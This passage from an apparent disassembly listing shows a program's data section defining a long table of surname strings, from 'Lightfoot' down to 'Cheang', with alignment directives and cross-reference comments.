'Lightfoot',0 ; DATA XREF: .data:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: .data:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: .data:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: .data:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: .data:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: .data:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: .data:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: .data:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: .data:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: .data:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: .data:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: .data:0042E310o aLashley db 'Lashley',0 ; DATA XREF: .data:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: .data:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: .data:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .data:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: .data:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: .data:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .data:0042E2F4o ; .data:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: .data:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: .data:0042E2ECo ; .data:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .data:0042E2E8o aLa db 'La',0 ; DATA XREF: .data:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: .data:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: .data:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: .data:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: .data:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: .data:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: .data:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .data:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: .data:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: .data:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: .data:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: .data:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: .data:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: .data:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: .data:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: .data:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: .data:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: .data:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0042E284o aKling db 'Kling',0 ; DATA XREF: .data:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: .data:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: .data:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: .data:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .data:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: .data:0042E260o aKindall db 'Kindall',0 ; DATA XREF: .data:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: .data:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .data:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: .data:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: .data:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: .data:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: .data:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: .data:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: .data:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: .data:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: .data:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: .data:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: .data:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: .data:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: .data:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: .data:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: .data:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: .data:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: .data:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: .data:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: .data:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: .data:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: .data:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: .data:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: .data:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: .data:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: .data:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: .data:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: .data:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: .data:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: .data:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0042E1CCo align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0042E1C8o aJewett db 'Jewett',0 ; DATA XREF: .data:0042E1C4o align 4 aJespersen db 'Jespersen',0 ; DATA XREF: .data:0042E1C0o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .data:0042E1BCo aJellis db 'Jellis',0 ; DATA XREF: .data:0042E1B8o align 4 aJeffers db 'Jeffers',0 ; DATA XREF: .data:0042E1B4o aJay db 'Jay',0 ; DATA XREF: .data:0042E1B0o aJarrell db 'Jarrell',0 ; DATA XREF: .data:0042E1ACo aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0042E1A8o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0042E1A4o align 4 aJamil db 'Jamil',0 ; DATA XREF: .data:0042E1A0o align 4 aJain db 'Jain',0 ; DATA XREF: .data:0042E19Co align 4 aJagoe db 'Jagoe',0 ; DATA XREF: .data:0042E198o align 4 aJagger db 'Jagger',0 ; DATA XREF: .data:0042E194o align 4 aJagers db 'Jagers',0 ; DATA XREF: .data:0042E190o align 4 aJackson db 'Jackson',0 ; DATA XREF: .data:0042E18Co aJacenko db 'Jacenko',0 ; DATA XREF: .data:0042E188o aIyer db 'Iyer',0 ; DATA XREF: .data:0042E184o align 4 aIsserman db 'Isserman',0 ; DATA XREF: .data:0042E180o align 10h aIsbill db 'Isbill',0 ; DATA XREF: .data:0042E17Co align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0042E178o align 4 aIsaac db 'Isaac',0 ; DATA XREF: .data:0042E174o align 4 aInniss db 'Inniss',0 ; DATA XREF: .data:0042E170o align 4 aInamura db 'Inamura',0 ; DATA XREF: .data:0042E16Co aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0042E168o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0042E164o align 4 aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0042E160o align 10h aHyde db 'Hyde',0 ; DATA XREF: .data:0042E15Co align 4 aHutchings db 'Hutchings',0 ; DATA XREF: .data:0042E158o align 4 aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0042E154o align 10h aHupp db 'Hupp',0 ; DATA XREF: .data:0042E150o align 4 aHuntington db 'Huntington',0 ; DATA XREF: .data:0042E14Co align 4 aHungerford db 'Hungerford',0 ; DATA XREF: .data:0042E148o align 10h aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0042E144o align 4 aHuey db 'Huey',0 ; DATA XREF: .data:0042E140o align 4 aHoy db 'Hoy',0 ; DATA XREF: .data:0042E13Co aHoward db 'Howard',0 ; DATA XREF: .data:0042E138o align 10h aHottle db 'Hottle',0 ; DATA XREF: .data:0042E134o align 4 aHostage db 'Hostage',0 ; DATA XREF: .data:0042E130o aHoshida db 'Hoshida',0 ; DATA XREF: .data:0042E12Co aHorsley db 'Horsley',0 ; DATA XREF: .data:0042E128o aHopkins db 'Hopkins',0 ; DATA XREF: .data:0042E124o aHooker db 'Hooker',0 ; DATA XREF: .data:0042E120o align 10h aHolzman db 'Holzman',0 ; DATA XREF: .data:0042E11Co aHolway db 'Holway',0 ; DATA XREF: .data:0042E118o align 10h aHolter db 'Holter',0 ; DATA XREF: .data:0042E114o align 4 aHoloien db 'Holoien',0 ; DATA XREF: .data:0042E110o aHolmes db 'Holmes',0 ; DATA XREF: .data:0042E10Co align 4 aHokoda db 'Hokoda',0 ; DATA XREF: .data:0042E108o align 10h aHokanson db 'Hokanson',0 ; DATA XREF: .data:0042E104o align 4 aHoffman db 'Hoffman',0 ; DATA XREF: .data:0042E100o aHoffer db 'Hoffer',0 ; DATA XREF: .data:0042E0FCo align 4 aHock db 'Hock',0 ; DATA XREF: .data:0042E0F8o align 4 aHoang db 'Hoang',0 ; DATA XREF: .data:0042E0F4o align 4 aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0042E0F0o align 4 aHirst db 'Hirst',0 ; DATA XREF: .data:0042E0ECo align 10h aHind db 'Hind',0 ; DATA XREF: .data:0042E0E8o align 4 aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0042E0E4o align 4 aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0042E0E0o align 4 aHeubert db 'Heubert',0 ; DATA XREF: .data:0042E0DCo aHester db 'Hester',0 ; DATA XREF: .data:0042E0D8o align 4 aHerrera db 'Herrera',0 ; DATA XREF: .data:0042E0D4o aHernandez db 'Hernandez',0 ; DATA XREF: .data:0042E0D0o align 10h aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0042E0CCo align 4 aHenery db 'Henery',0 ; DATA XREF: .data:0042E0C8o align 4 aHemphill db 'Hemphill',0 ; DATA XREF: .data:0042E0C4o align 10h aHelprin db 'Helprin',0 ; DATA XREF: .data:0042E0C0o aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0042E0BCo align 4 aHellman db 'Hellman',0 ; DATA XREF: .data:0042E0B8o aHeiland db 'Heiland',0 ; DATA XREF: .data:0042E0B4o aHeft db 'Heft',0 ; DATA XREF: .data:0042E0B0o align 4 aHeermans db 'Heermans',0 ; DATA XREF: .data:0042E0ACo align 4 aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0042E0A8o align 4 aHaynes db 'Haynes',0 ; DATA XREF: .data:0042E0A4o align 4 aHayes db 'Hayes',0 ; DATA XREF: .data:0042E0A0o align 4 aHawkes db 'Hawkes',0 ; DATA XREF: .data:0042E09Co align 4 aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0042E098o align 4 aHarwell db 'Harwell',0 ; DATA XREF: .data:0042E094o aHartnett db 'Hartnett',0 ; DATA XREF: .data:0042E090o align 4 aHartmann db 'Hartmann',0 ; DATA XREF: .data:0042E08Co align 4 aHartman db 'Hartman',0 ; DATA XREF: .data:0042E088o aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0042E084o align 4 aHarlow db 'Harlow',0 ; DATA XREF: .data:0042E080o align 4 aHargraves db 'Hargraves',0 ; DATA XREF: .data:0042E07Co align 10h aHarding db 'Harding',0 ; DATA XREF: .data:0042E078o aHanssen db 'Hanssen',0 ; DATA XREF: .data:0042E074o aHand db 'Hand',0 ; DATA XREF: .data:0042E070o align 4 aHammerness db 'Hammerness',0 ; DATA XREF: .data:0042E06Co align 4 aHamer db 'Hamer',0 ; DATA XREF: .data:0042E068o align 4 aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0042E064o align 4 aHalpert db 'Halpert',0 ; DATA XREF: .data:0042E060o aHallowell db 'Hallowell',0 ; DATA XREF: .data:0042E05Co align 10h aHalkias db 'Halkias',0 ; DATA XREF: .data:0042E058o aHaley db 'Haley',0 ; DATA XREF: .data:0042E054o align 10h aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0042E050o align 4 aHackman db 'Hackman',0 ; DATA XREF: .data:0042E04Co aHaar db 'Haar',0 ; DATA XREF: .data:0042E048o align 4 aHa db 'Ha',0 ; DATA XREF: .data:0042E044o align 10h aGuo db 'Guo',0 ; DATA XREF: .data:0042E040o aGunn db 'Gunn',0 ; DATA XREF: .data:0042E03Co align 4 aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0042E038o align 4 aGruppe db 'Gruppe',0 ; DATA XREF: .data:0042E034o align 10h aGruner db 'Gruner',0 ; DATA XREF: .data:0042E030o align 4 aGrummell db 'Grummell',0 ; DATA XREF: .data:0042E02Co align 4 aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0042E028o align 10h aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0042E024o align 4 aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0042E020o align 4 aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0042E01Co align 4 aGravell db 'Gravell',0 ; DATA XREF: .data:0042E018o aGozzi db 'Gozzi',0 ; DATA XREF: .data:0042E014o align 4 aGoody db 'Goody',0 ; DATA XREF: .data:0042E010o align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0042E00Co align 4 aGood db 'Good',0 ; DATA XREF: .data:0042E008o align 10h aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0042E004o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0042E000o align 4 aGlendon db 'Glendon',0 ; DATA XREF: .data:0042DFFCo aGlegg db 'Glegg',0 ; DATA XREF: .data:0042DFF8o align 4 aGleason db 'Gleason',0 ; DATA XREF: .data:0042DFF4o aGist db 'Gist',0 ; DATA XREF: .data:0042DFF0o align 4 aGillispie db 'Gillispie',0 ; DATA XREF: .data:0042DFECo align 4 aGill db 'Gill',0 ; DATA XREF: .data:0042DFE8o align 4 aGili db 'Gili',0 ; DATA XREF: .data:0042DFE4o align 4 aGilbert db 'Gilbert',0 ; DATA XREF: .data:0042DFE0o aGibson db 'Gibson',0 ; DATA XREF: .data:0042DFDCo align 4 aGibbens db 'Gibbens',0 ; DATA XREF: .data:0042DFD8o aGhorai db 'Ghorai',0 ; DATA XREF: .data:0042DFD4o align 4 aGerrett db 'Gerrett',0 ; DATA XREF: .data:0042DFD0o aGeorgi db 'Georgi',0 ; DATA XREF: .data:0042DFCCo align 4 aGemberling db 'Gemberling',0 ; DATA XREF: .data:0042DFC8o align 10h aGeller db 'Geller',0 ; DATA XREF: .data:0042DFC4o align 4 aGaronna db 'Garonna',0 ; DATA XREF: .data:0042DFC0o aGarman db 'Garman',0 ; DATA XREF: .data:0042DFBCo align 4 aGarfield db 'Garfield',0 ; DATA XREF: .data:0042DFB8o align 4 aGambini db 'Gambini',0 ; DATA XREF: .data:0042DFB4o aGalwey db 'Galwey',0 ; DATA XREF: .data:0042DFB0o align 4 aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0042DFACo align 10h aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0042DFA8o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0042DFA4o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: .data:0042DFA0o align 10h aFurth db 'Furth',0 ; DATA XREF: .data:0042DF9Co align 4 aFuller db 'Fuller',0 ; DATA XREF: .data:0042DF98o align 10h aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0042DF94o align 4 aFrye db 'Frye',0 ; DATA XREF: .data:0042DF90o align 4 aFryberger db 'Fryberger',0 ; DATA XREF: .data:0042DF8Co align 10h aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0042DF88o aFrisken db 'Frisken',0 ; DATA XREF: .data:0042DF84o aFriedland db 'Friedland',0 ; DATA XREF: .data:0042DF80o align 4 aFried db 'Fried',0 ; DATA XREF: .data:0042DF7Co align 4 aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0042DF78o align 10h aFreid db 'Freid',0 ; DATA XREF: .data:0042DF74o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0042DF70o align 4 aFranz db 'Franz',0 ; DATA XREF: .data:0042DF6Co align 10h aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0042DF68o align 10h aFrancisco db 'Francisco',0 ; DATA XREF: .data:0042DF64o align 4 aFossi db 'Fossi',0 ; DATA XREF: .data:0042DF60o align 4 aFossey db 'Fossey',0 ; DATA XREF: .data:0042DF5Co align 4 aFortier db 'Fortier',0 ; DATA XREF: .data:0042DF58o aFortes db 'Fortes',0 ; DATA XREF: .data:0042DF54o align 4 aForester db 'Forester',0 ; DATA XREF: .data:0042DF50o align 4 aFolks db 'Folks',0 ; DATA XREF: .data:0042DF4Co align 10h aFlores db 'Flores',0 ; DATA XREF: .data:0042DF48o align 4 aFlier db 'Flier',0 ; DATA XREF: .data:0042DF44o align 10h aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0042DF40o aFisk db 'Fisk',0 ; DATA XREF: .data:0042DF3Co align 4 aFiorina db 'Fiorina',0 ; DATA XREF: .data:0042DF38o aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0042DF34o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0042DF30o aFink db 'Fink',0 ; DATA XREF: .data:0042DF2Co align 4 aField db 'Field',0 ; DATA XREF: .data:0042DF28o align 4 aFido db 'Fido',0 ; DATA XREF: .data:0042DF24o align 4 aFeuer db 'Feuer',0 ; DATA XREF: .data:0042DF20o align 4 aFerriell db 'Ferriell',0 ; DATA XREF: .data:0042DF1Co align 10h aFerrante db 'Ferrante',0 ; DATA XREF: .data:0042DF18o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: .data:0042DF14o align 4 aFernald db 'Fernald',0 ; DATA XREF: .data:0042DF10o aFeldman db 'Feldman',0 ; DATA XREF: .data:0042DF0Co aFejzo db 'Fejzo',0 ; DATA XREF: .data:0042DF08o align 10h aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0042DF04o align 4 aFates db 'Fates',0 ; DATA XREF: .data:0042DF00o align 4 aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0042DEFCo align 4 aFarren db 'Farren',0 ; DATA XREF: .data:0042DEF8o align 4 aFarone db 'Farone',0 ; DATA XREF: .data:0042DEF4o align 4 aFaris db 'Faris',0 ; DATA XREF: .data:0042DEF0o align 4 aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0042DEECo aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0042DEE8o align 4 aFaioes db 'Faioes',0 ; DATA XREF: .data:0042DEE4o align 4 aFagan db 'Fagan',0 ; DATA XREF: .data:0042DEE0o align 4 aFabbris db 'Fabbris',0 ; DATA XREF: .data:0042DEDCo aEverett db 'Everett',0 ; DATA XREF: .data:0042DED8o aEuripides db 'Euripides',0 ; DATA XREF: .data:0042DED4o align 4 aEtter db 'Etter',0 ; DATA XREF: .data:0042DED0o align 10h aEstes db 'Estes',0 ; DATA XREF: .data:0042DECCo align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0042DEC8o align 4 aErez db 'Erez',0 ; DATA XREF: .data:0042DEC4o align 4 aErdos db 'Erdos',0 ; DATA XREF: .data:0042DEC0o align 4 aErdman db 'Erdman',0 ; DATA XREF: .data:0042DEBCo align 4 aErbach db 'Erbach',0 ; DATA XREF: .data:0042DEB8o align 4 aEppling db 'Eppling',0 ; DATA XREF: .data:0042DEB4o aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0042DEB0o aEncinas db 'Encinas',0 ; DATA XREF: .data:0042DEACo aElvis db 'Elvis',0 ; DATA XREF: .data:0042DEA8o align 4 aElmerick db 'Elmerick',0 ; DATA XREF: .data:0042DEA4o align 10h aElmendorf db 'Elmendorf',0 ; DATA XREF: .data:0042DEA0o align 4 aEliasson db 'Eliasson',0 ; DATA XREF: .data:0042DE9Co align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .data:0042DE98o aEdward db 'Edward',0 ; DATA XREF: .data:0042DE94o align 4 aEdner db 'Edner',0 ; DATA XREF: .data:0042DE90o align 4 aEdley db 'Edley',0 ; DATA XREF: .data:0042DE8Co align 4 aEckel db 'Eckel',0 ; DATA XREF: .data:0042DE88o align 4 aEbeling db 'Ebeling',0 ; DATA XREF: .data:0042DE84o aEardley db 'Eardley',0 ; DATA XREF: .data:0042DE80o aDwyer db 'Dwyer',0 ; DATA XREF: .data:0042DE7Co align 4 aDussault db 'Dussault',0 ; DATA XREF: .data:0042DE78o align 4 aDurrett db 'Durrett',0 ; DATA XREF: .data:0042DE74o aDuffin db 'Duffin',0 ; DATA XREF: .data:0042DE70o align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: .data:0042DE6Co aDrinker db 'Drinker',0 ; DATA XREF: .data:0042DE68o aDowsland db 'Dowsland',0 ; DATA XREF: .data:0042DE64o align 4 aDoug db 'Doug',0 ; DATA XREF: .data:0042DE60o align 4 aDoty db 'Doty',0 ; DATA XREF: .data:0042DE5Co align 4 aDosi db 'Dosi',0 ; DATA XREF: .data:0042DE58o align 4 aDorf db 'Dorf',0 ; DATA XREF: .data:0042DE54o align 4 aDore db 'Dore',0 ; DATA XREF: .data:0042DE50o align 4 aDoonan db 'Doonan',0 ; DATA XREF: .data:0042DE4Co align 4 aDonner db 'Donner',0 ; DATA XREF: .data:0042DE48o align 4 aDonahue db 'Donahue',0 ; DATA XREF: .data:0042DE44o aDoherty db 'Doherty',0 ; DATA XREF: .data:0042DE40o aDockery db 'Dockery',0 ; DATA XREF: .data:0042DE3Co aDirksen db 'Dirksen',0 ; DATA XREF: .data:0042DE38o aDionysius db 'Dionysius',0 ; DATA XREF: .data:0042DE34o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .data:0042DE30o align 4 aDifronzo db 'Difronzo',0 ; DATA XREF: .data:0042DE2Co align 10h aDifabio db 'Difabio',0 ; DATA XREF: .data:0042DE28o aDiefenbach db 'Diefenbach',0 ; DATA XREF: .data:0042DE24o align 4 aDicks db 'Dicks',0 ; DATA XREF: .data:0042DE20o align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: .data:0042DE1Co align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .data:0042DE18o aDesombre db 'Desombre',0 ; DATA XREF: .data:0042DE14o align 4 aDenison db 'Denison',0 ; DATA XREF: .data:0042DE10o aDenham db 'Denham',0 ; DATA XREF: .data:0042DE0Co align 4 aDenault db 'Denault',0 ; DATA XREF: .data:0042DE08o aDemusz db 'Demusz',0 ; DATA XREF: .data:0042DE04o align 4 aDempster db 'Dempster',0 ; DATA XREF: .data:0042DE00o align 4 aDeming db 'Deming',0 ; DATA XREF: .data:0042DDFCo align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0042DDF8o align 4 aDelger db 'Delger',0 ; DATA XREF: .data:0042DDF4o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .data:0042DDF0o align 10h aDelattre db 'Delattre',0 ; DATA XREF: .data:0042DDECo align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .data:0042DDE8o align 4 aDees db 'Dees',0 ; DATA XREF: .data:0042DDE4o align 10h aDebroff db 'Debroff',0 ; DATA XREF: .data:0042DDE0o aDerousse db 'deRousse',0 ; DATA XREF: .data:0042DDDCo align 4 aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .data:0042DDD8o align 10h aDelapena db 'DeLaPena',0 ; DATA XREF: .data:0042DDD4o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: .data:0042DDD0o align 4 aDawkins db 'Dawkins',0 ; DATA XREF: .data:0042DDCCo aDavid db 'David',0 ; DATA XREF: .data:0042DDC8o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: .data:0042DDC4o aDasgupta db 'Dasgupta',0 ; DATA XREF: .data:0042DDC0o align 4 aDas db 'Das',0 ; DATA XREF: .data:0042DDBCo aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0042DDB8o aDapice db 'Dapice',0 ; DATA XREF: .data:0042DDB4o align 4 aDante db 'Dante',0 ; DATA XREF: .data:0042DDB0o align 4 aDanieli db 'Danieli',0 ; DATA XREF: .data:0042DDACo aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .data:0042DDA8o aDaly db 'Daly',0 ; DATA XREF: .data:0042DDA4o align 4 aDaldalian db 'Daldalian',0 ; DATA XREF: .data:0042DDA0o align 10h aDasilva db 'daSilva',0 ; DATA XREF: .data:0042DD9Co aCyders db 'Cyders',0 ; DATA XREF: .data:0042DD98o align 10h aCvek db 'Cvek',0 ; DATA XREF: .data:0042DD94o align 4 aCutler db 'Cutler',0 ; DATA XREF: .data:0042DD90o align 10h aCurrier db 'Currier',0 ; DATA XREF: .data:0042DD8Co aCui db 'Cui',0 ; DATA XREF: .data:0042DD88o aCroxton db 'Croxton',0 ; DATA XREF: .data:0042DD84o aCroxen db 'Croxen',0 ; DATA XREF: .data:0042DD80o align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: .data:0042DD7Co aCrocker db 'Crocker',0 ; DATA XREF: .data:0042DD78o aCrawford db 'Crawford',0 ; DATA XREF: .data:0042DD74o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: .data:0042DD70o aCounter db 'Counter',0 ; DATA XREF: .data:0042DD6Co aCosmides db 'Cosmides',0 ; DATA XREF: .data:0042DD68o align 4 aCornish db 'Cornish',0 ; DATA XREF: .data:0042DD64o aCorey db 'Corey',0 ; DATA XREF: .data:0042DD60o align 4 aConnors db 'Connors',0 ; DATA XREF: .data:0042DD5Co aCondodina db 'Condodina',0 ; DATA XREF: .data:0042DD58o align 4 aConcino db 'Concino',0 ; DATA XREF: .data:0042DD54o aComstock db 'Comstock',0 ; DATA XREF: .data:0042DD50o align 4 aCompton db 'Compton',0 ; DATA XREF: .data:0042DD48o ; .data:0042DD4Co aCollis db 'Collis',0 ; DATA XREF: .data:0042DD44o align 4 aCollard db 'Collard',0 ; DATA XREF: .data:0042DD40o aColella db 'Colella',0 ; DATA XREF: .data:0042DD3Co aColdren db 'Coldren',0 ; DATA XREF: .data:0042DD38o aCoito db 'Coito',0 ; DATA XREF: .data:0042DD34o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .data:0042DD30o aClow db 'Clow',0 ; DATA XREF: .data:0042DD2Co align 4 aClifton db 'Clifton',0 ; DATA XREF: .data:0042DD28o aClement db 'Clement',0 ; DATA XREF: .data:0042DD24o aClark db 'Clark',0 ; DATA XREF: .data:0042DD20o align 4 aClancy db 'Clancy',0 ; DATA XREF: .data:0042DD1Co align 4 aClaffey db 'Claffey',0 ; DATA XREF: .data:0042DD18o aCifarelli db 'Cifarelli',0 ; DATA XREF: .data:0042DD14o align 10h aCicero db 'Cicero',0 ; DATA XREF: .data:0042DD10o align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .data:0042DD0Co align 4 aChurch db 'Church',0 ; DATA XREF: .data:0042DD08o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: .data:0042DD04o align 4 aChu db 'Chu',0 ; DATA XREF: .data:0042DD00o aChristopher db 'Christopher',0 ; DATA XREF: .data:0042DCFCo aChristie db 'Christie',0 ; DATA XREF: .data:0042DCF8o align 4 aChristiano db 'Christiano',0 ; DATA XREF: .data:0042DCF4o align 10h aChristian db 'Christian',0 ; DATA XREF: .data:0042DCF0o align 4 aChristenson db 'Christenson',0 ; DATA XREF: .data:0042DCECo aChinman db 'Chinman',0 ; DATA XREF: .data:0042DCE8o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .data:0042DCE4o aChilds db 'Childs',0 ; DATA XREF: .data:0042DCE0o align 4 aChildress db 'Childress',0 ; DATA XREF: .data:0042DCDCo align 10h aChien db 'Chien',0 ; DATA XREF: .data:0042DCD8o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .data:0042DCD4o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .data:0042DCD0o align 10h aCherry db 'Cherry',0 ; DATA XREF: .data:0042DCCCo align 4 aCheang db 'Cheang',0 ; DATA 